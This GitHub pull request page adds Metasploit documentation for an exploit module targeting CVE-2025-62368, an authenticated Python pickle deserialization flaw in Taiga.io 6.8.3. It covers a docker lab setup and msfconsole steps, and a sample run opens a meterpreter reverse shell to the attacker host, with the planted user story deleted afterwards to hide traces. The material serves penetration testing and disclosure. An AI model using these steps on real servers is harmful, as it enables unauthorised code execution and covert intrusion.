-
Notifications
You must be signed in to change notification settings - Fork 14.6k
Adds exploit module for authenticated deserialization vulnerability in Taiga.io (CVE-2025-62368) #20700
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
whotwagner
wants to merge
17
commits into
rapid7:master
Choose a base branch
from
whotwagner:exploit_taiga_tribe_gig
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+539
−0
Open
Adds exploit module for authenticated deserialization vulnerability in Taiga.io (CVE-2025-62368) #20700
Changes from 3 commits
Commits
Show all changes
17 commits
Select commit
Hold shift + click to select a range
466805a
Fixed style-issues
whotwagner ba24ea0
Added exploit module for unserialization vulnerability in taiga.io(CV…
whotwagner ffe3d0a
Merge branch 'exploit_taiga_tribe_gig' of github.com:whotwagner/metas…
whotwagner 351bba0
Renamed extension for taiga-exploit-docs to .md
whotwagner f80f10c
Refactoring taiga-exploit
whotwagner 5c6b054
Fixed a typo in taiga-module-docs
whotwagner 4c3ee4f
Refactoring taiga-exploit and docs
whotwagner 0781d61
Refactoring taiga-exploit
whotwagner 467b5c2
Refactoring taiga-exploit
whotwagner d8bb16d
Refactoring taiga-exploit
whotwagner 1e5bd6d
Refactoring taiga-exploit
whotwagner 04e6469
Refactoring taiga-exploit
whotwagner 932eae7
Update modules/exploits/multi/http/taiga_tribe_gig_unserial.rb
whotwagner 55f660c
Update modules/exploits/multi/http/taiga_tribe_gig_unserial.rb
whotwagner 72d7e1a
Rubocopes
msutovsky-r7 2018f9f
Refactoring taiga-exploit
whotwagner 4decd07
Merged changes
whotwagner File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
319 changes: 319 additions & 0 deletions
319
documentation/modules/exploit/multi/http/taiga_tribe_gig_unserial.rb
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,319 @@ | ||
| ## Description | ||
|
|
||
| This module exploits an authenticated unserialize vulnerability that allows to execute | ||
| commands remotely. This vulnerability affects Taiga.io <= 6.8.3 and is fixed in 6.9.0. | ||
|
|
||
| By creating userstories in the kanban-board, the parameter tribe_gig will be unserialized using python pickle. Using a special crafted value for | ||
| `tribe_gig` this vulnerability leads to authenticated remote python code execution. This exploits automatically deletes the created user-story in | ||
| order to leave no unnecessary traces. | ||
|
|
||
| More about the vulnerability detail: [CVE-2025-62368](https://github.com/taigaio/taiga-back/security/advisories/GHSA-cpcf-9276-fwc5). | ||
|
|
||
| The module will automatically use `python/meterpreter/reverse_tcp` payload. | ||
|
|
||
| The module will check if the target is vulnerable, by sending a sleep command. Please note that the user needs to have at least one project with kanban enabled. The exploit will automatically search for an existing project that has the kanban functionality enabled. | ||
|
|
||
| ## Vulnerable Application | ||
|
|
||
| [Taiga.io](https://www.taiga.io/) is a free open-source project management tool for agile teams. | ||
|
|
||
| This module has been tested successfully on Taiga.io versions: | ||
|
|
||
| * taiga-back versions 6.8.3 | ||
|
|
||
| ### Source and Installers | ||
|
|
||
| * [Source Code Repository](https://github.com/taigaio/taiga-back/releases/tag/6.8.3) | ||
| * [Docker](https://github.com/taigaio/taiga-docker.git) | ||
|
|
||
| ### Docker Installation | ||
|
|
||
| This exploit was tested using a [taiga.io docker container](https://github.com/taigaio/taiga-docker.git) and [docker-compose](https://docs.docker.com/compose/). | ||
| First the [taiga.io docker container](https://github.com/taigaio/taiga-docker.git) was downloaded: `git clone https://github.com/taigaio/taiga-docker.git`. | ||
| Next the tag 6.8.3 was added to the `taiga-back` image in docker-compose.yml: | ||
|
|
||
| ```yaml | ||
| version: "3.5" | ||
|
|
||
| x-environment: | ||
| &default-back-environment | ||
| # These environment variables will be used by taiga-back and taiga-async. | ||
| # Database settings | ||
| POSTGRES_DB: "taiga" | ||
| POSTGRES_USER: "${POSTGRES_USER}" | ||
| POSTGRES_PASSWORD: "${POSTGRES_PASSWORD}" | ||
| POSTGRES_HOST: "taiga-db" | ||
| # Taiga settings | ||
| TAIGA_SECRET_KEY: "${SECRET_KEY}" | ||
| TAIGA_SITES_SCHEME: "${TAIGA_SCHEME}" | ||
| TAIGA_SITES_DOMAIN: "${TAIGA_DOMAIN}" | ||
| TAIGA_SUBPATH: "${SUBPATH}" | ||
| # Email settings. | ||
| EMAIL_BACKEND: "django.core.mail.backends.${EMAIL_BACKEND}.EmailBackend" | ||
| DEFAULT_FROM_EMAIL: "${EMAIL_DEFAULT_FROM}" | ||
| EMAIL_USE_TLS: "${EMAIL_USE_TLS}" | ||
| EMAIL_USE_SSL: "${EMAIL_USE_SSL}" | ||
| EMAIL_HOST: "${EMAIL_HOST}" | ||
| EMAIL_PORT: "${EMAIL_PORT}" | ||
| EMAIL_HOST_USER: "${EMAIL_HOST_USER}" | ||
| EMAIL_HOST_PASSWORD: "${EMAIL_HOST_PASSWORD}" | ||
| # Rabbitmq settings | ||
| RABBITMQ_USER: "${RABBITMQ_USER}" | ||
| RABBITMQ_PASS: "${RABBITMQ_PASS}" | ||
| # Telemetry settings | ||
| ENABLE_TELEMETRY: "${ENABLE_TELEMETRY}" | ||
| # ...your customizations go here | ||
|
|
||
| x-volumes: | ||
| &default-back-volumes | ||
| # These volumens will be used by taiga-back and taiga-async. | ||
| - taiga-static-data:/taiga-back/static | ||
| - taiga-media-data:/taiga-back/media | ||
| # - ./config.py:/taiga-back/settings/config.py | ||
|
|
||
| services: | ||
| taiga-db: | ||
| image: postgres:12.3 | ||
| environment: | ||
| POSTGRES_DB: "taiga" | ||
| POSTGRES_USER: "${POSTGRES_USER}" | ||
| POSTGRES_PASSWORD: "${POSTGRES_PASSWORD}" | ||
| healthcheck: | ||
| test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER}"] | ||
| interval: 2s | ||
| timeout: 15s | ||
| retries: 5 | ||
| start_period: 3s | ||
| volumes: | ||
| - taiga-db-data:/var/lib/postgresql/data | ||
| networks: | ||
| - taiga | ||
|
|
||
| taiga-back: | ||
| image: taigaio/taiga-back:6.8.3 | ||
| environment: *default-back-environment | ||
| volumes: *default-back-volumes | ||
| networks: | ||
| - taiga | ||
| depends_on: | ||
| taiga-db: | ||
| condition: service_healthy | ||
| taiga-events-rabbitmq: | ||
| condition: service_started | ||
| taiga-async-rabbitmq: | ||
| condition: service_started | ||
|
|
||
| taiga-async: | ||
| image: taigaio/taiga-back:6.8.3 | ||
| entrypoint: ["/taiga-back/docker/async_entrypoint.sh"] | ||
| environment: *default-back-environment | ||
| volumes: *default-back-volumes | ||
| networks: | ||
| - taiga | ||
| depends_on: | ||
| taiga-db: | ||
| condition: service_healthy | ||
| taiga-events-rabbitmq: | ||
| condition: service_started | ||
| taiga-async-rabbitmq: | ||
| condition: service_started | ||
|
|
||
| taiga-async-rabbitmq: | ||
| image: rabbitmq:3.8-management-alpine | ||
| environment: | ||
| RABBITMQ_ERLANG_COOKIE: "${RABBITMQ_ERLANG_COOKIE}" | ||
| RABBITMQ_DEFAULT_USER: "${RABBITMQ_USER}" | ||
| RABBITMQ_DEFAULT_PASS: "${RABBITMQ_PASS}" | ||
| RABBITMQ_DEFAULT_VHOST: "${RABBITMQ_VHOST}" | ||
| hostname: "taiga-async-rabbitmq" | ||
| volumes: | ||
| - taiga-async-rabbitmq-data:/var/lib/rabbitmq | ||
| networks: | ||
| - taiga | ||
|
|
||
| taiga-front: | ||
| image: taigaio/taiga-front:latest | ||
| environment: | ||
| TAIGA_URL: "${TAIGA_SCHEME}://${TAIGA_DOMAIN}" | ||
| TAIGA_WEBSOCKETS_URL: "${WEBSOCKETS_SCHEME}://${TAIGA_DOMAIN}" | ||
| TAIGA_SUBPATH: "${SUBPATH}" | ||
| # ...your customizations go here | ||
| networks: | ||
| - taiga | ||
| # volumes: | ||
| # - ./conf.json:/usr/share/nginx/html/conf.json | ||
|
|
||
| taiga-events: | ||
| image: taigaio/taiga-events:latest | ||
| environment: | ||
| RABBITMQ_USER: "${RABBITMQ_USER}" | ||
| RABBITMQ_PASS: "${RABBITMQ_PASS}" | ||
| TAIGA_SECRET_KEY: "${SECRET_KEY}" | ||
| networks: | ||
| - taiga | ||
| depends_on: | ||
| taiga-events-rabbitmq: | ||
| condition: service_started | ||
|
|
||
| taiga-events-rabbitmq: | ||
| image: rabbitmq:3.8-management-alpine | ||
| environment: | ||
| RABBITMQ_ERLANG_COOKIE: "${RABBITMQ_ERLANG_COOKIE}" | ||
| RABBITMQ_DEFAULT_USER: "${RABBITMQ_USER}" | ||
| RABBITMQ_DEFAULT_PASS: "${RABBITMQ_PASS}" | ||
| RABBITMQ_DEFAULT_VHOST: "${RABBITMQ_VHOST}" | ||
| hostname: "taiga-events-rabbitmq" | ||
| volumes: | ||
| - taiga-events-rabbitmq-data:/var/lib/rabbitmq | ||
| networks: | ||
| - taiga | ||
|
|
||
| taiga-protected: | ||
| image: taigaio/taiga-protected:latest | ||
| environment: | ||
| MAX_AGE: "${ATTACHMENTS_MAX_AGE}" | ||
| SECRET_KEY: "${SECRET_KEY}" | ||
| networks: | ||
| - taiga | ||
|
|
||
| taiga-gateway: | ||
| image: nginx:1.19-alpine | ||
| ports: | ||
| - "9000:80" | ||
| volumes: | ||
| - ./taiga-gateway/taiga.conf:/etc/nginx/conf.d/default.conf | ||
| - taiga-static-data:/taiga/static | ||
| - taiga-media-data:/taiga/media | ||
| networks: | ||
| - taiga | ||
| depends_on: | ||
| - taiga-front | ||
| - taiga-back | ||
| - taiga-events | ||
|
|
||
| volumes: | ||
| taiga-static-data: | ||
| taiga-media-data: | ||
| taiga-db-data: | ||
| taiga-async-rabbitmq-data: | ||
| taiga-events-rabbitmq-data: | ||
|
|
||
| networks: | ||
| taiga: | ||
| ``` | ||
|
|
||
| The file `.env` was also modified so that the variable `TAIGA_DOMAIN` points to the IP-address to the server: | ||
|
|
||
| ``` | ||
| # Taiga's URLs - Variables to define where Taiga should be served | ||
| TAIGA_SCHEME=http # serve Taiga using "http" or "https" (secured) connection | ||
| TAIGA_DOMAIN=192.168.233.117:9000 # Taiga's base URL | ||
| SUBPATH="" # it'll be appended to the TAIGA_DOMAIN (use either "" or a "/subpath") | ||
| WEBSOCKETS_SCHEME=ws # events connection protocol (use either "ws" or "wss") | ||
|
|
||
| # Taiga's Secret Key - Variable to provide cryptographic signing | ||
| SECRET_KEY="taiga-secret-key" # Please, change it to an unpredictable value!! | ||
|
|
||
| # Taiga's Database settings - Variables to create the Taiga database and connect to it | ||
| POSTGRES_USER=taiga # user to connect to PostgreSQL | ||
| POSTGRES_PASSWORD=taiga # database user's password | ||
|
|
||
| # Taiga's SMTP settings - Variables to send Taiga's emails to the users | ||
| EMAIL_BACKEND=console # use an SMTP server or display the emails in the console (either "smtp" or "console") | ||
| EMAIL_HOST=smtp.host.example.com # SMTP server address | ||
| EMAIL_PORT=587 # default SMTP port | ||
| EMAIL_HOST_USER=user # user to connect the SMTP server | ||
| EMAIL_HOST_PASSWORD=password # SMTP user's password | ||
| EMAIL_DEFAULT_FROM=changeme@example.com # default email address for the automated emails | ||
| # EMAIL_USE_TLS/EMAIL_USE_SSL are mutually exclusive (only set one of those to True) | ||
| EMAIL_USE_TLS=True # use TLS (secure) connection with the SMTP server | ||
| EMAIL_USE_SSL=False # use implicit TLS (secure) connection with the SMTP server | ||
|
|
||
| # Taiga's RabbitMQ settings - Variables to leave messages for the realtime and asynchronous events | ||
| RABBITMQ_USER=taiga # user to connect to RabbitMQ | ||
| RABBITMQ_PASS=taiga # RabbitMQ user's password | ||
| RABBITMQ_VHOST=taiga # RabbitMQ container name | ||
| RABBITMQ_ERLANG_COOKIE=secret-erlang-cookie # unique value shared by any connected instance of RabbitMQ | ||
|
|
||
| # Taiga's Attachments - Variable to define how long the attachments will be accesible | ||
| ATTACHMENTS_MAX_AGE=360 # token expiration date (in seconds) | ||
|
|
||
| # Taiga's Telemetry - Variable to enable or disable the anonymous telemetry | ||
| ENABLE_TELEMETRY=False | ||
| ``` | ||
|
|
||
| **_NOTE:_** Change the IP-address for TAIGA_DOMAIN for your setup | ||
|
|
||
| After starting the container with `./launch-taiga.sh` we also have to create an admin account using: `./taiga-manage.sh createsuperuser`. | ||
|
|
||
| Now open a browser and navigate to: `http://192.168.233.117:9000` (use your IP-address), login as admin and create a project(select KANBAN). Provide any project-name and any project-description, select "Public Project" and create the project. | ||
|
|
||
| **_NOTE:_** This exploit works needs permissions to create user-stories. Therefore it works as a normal project member or as admin. | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Do: `use exploit/multi/http/taiga_tribe_gig_unserial` | ||
| 2. Do: `set RHOSTS [ips]` | ||
| 3. Do: `set LHOST [lhost]` | ||
| 4. Do: `set RPORT 9000` | ||
| 5. Do: `set USERNAME admin` | ||
| 6. Do: `set PASSWORD admin` | ||
| 7. Do: `set SSL false` | ||
| 8. Do: `run` | ||
| 9. You should get a shell after a while | ||
|
|
||
| ## Options | ||
|
|
||
| ### TARGETURI | ||
|
|
||
| Remote web path to the taiga installation (default: /) | ||
|
|
||
| ### USERNAME | ||
|
|
||
| The any existing username to authenticate to taiga. (Needs permissions on a project to create user-stories) | ||
|
|
||
| ### PASSWORD | ||
|
|
||
| The password for the user. | ||
|
|
||
| ### SSL | ||
|
|
||
| Use SSL to access the taiga-server (default: true) | ||
|
|
||
| ## Scenarios | ||
|
|
||
| In this scenario the taiga-server has the IP address `192.168.233.117`. User `admin` exists with password `admin` and | ||
| a kanban project was already created in taiga and user admin is allowed to create userstories for that project. | ||
|
|
||
| ### Taiga 6.8.3(docker-compose): | ||
|
|
||
| The following demo shows how to use the exploit: | ||
|
|
||
| ``` | ||
| msf > use exploit/multi/http/taiga_tribe_gig_unserial | ||
| [*] Using configured payload python/meterpreter/reverse_tcp | ||
| msf exploit(multi/http/taiga_tribe_gig_unserial) > set RHOSTS 192.168.233.117 | ||
| RHOSTS => 192.168.233.117 | ||
| msf exploit(multi/http/taiga_tribe_gig_unserial) > set RPORT 9000 | ||
| RPORT => 9000 | ||
| msf exploit(multi/http/taiga_tribe_gig_unserial) > set LHOST 192.168.233.117 | ||
| LHOST => 192.168.233.117 | ||
| msf exploit(multi/http/taiga_tribe_gig_unserial) > set USERNAME admin | ||
| USERNAME => admin | ||
| msf exploit(multi/http/taiga_tribe_gig_unserial) > set PASSWORD admin | ||
| PASSWORD => admin | ||
| msf exploit(multi/http/taiga_tribe_gig_unserial) > set SSL false | ||
| [!] Changing the SSL option's value may require changing RPORT! | ||
| SSL => false | ||
| msf exploit(multi/http/taiga_tribe_gig_unserial) > run | ||
| [*] Started reverse TCP handler on 192.168.233.117:4444 | ||
| [*] Sending payload.. | ||
| [*] Sending stage (23408 bytes) to 172.20.0.8 | ||
| [+] Payload sent | ||
| [*] Cleanup.. | ||
| [+] Userstory deleted | ||
| [*] Meterpreter session 1 opened (192.168.233.117:4444 -> 172.20.0.8:39148) at 2025-11-08 15:26:54 +0000 | ||
|
|
||
| meterpreter > getuid | ||
| Server username: taiga | ||
| ``` | ||
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.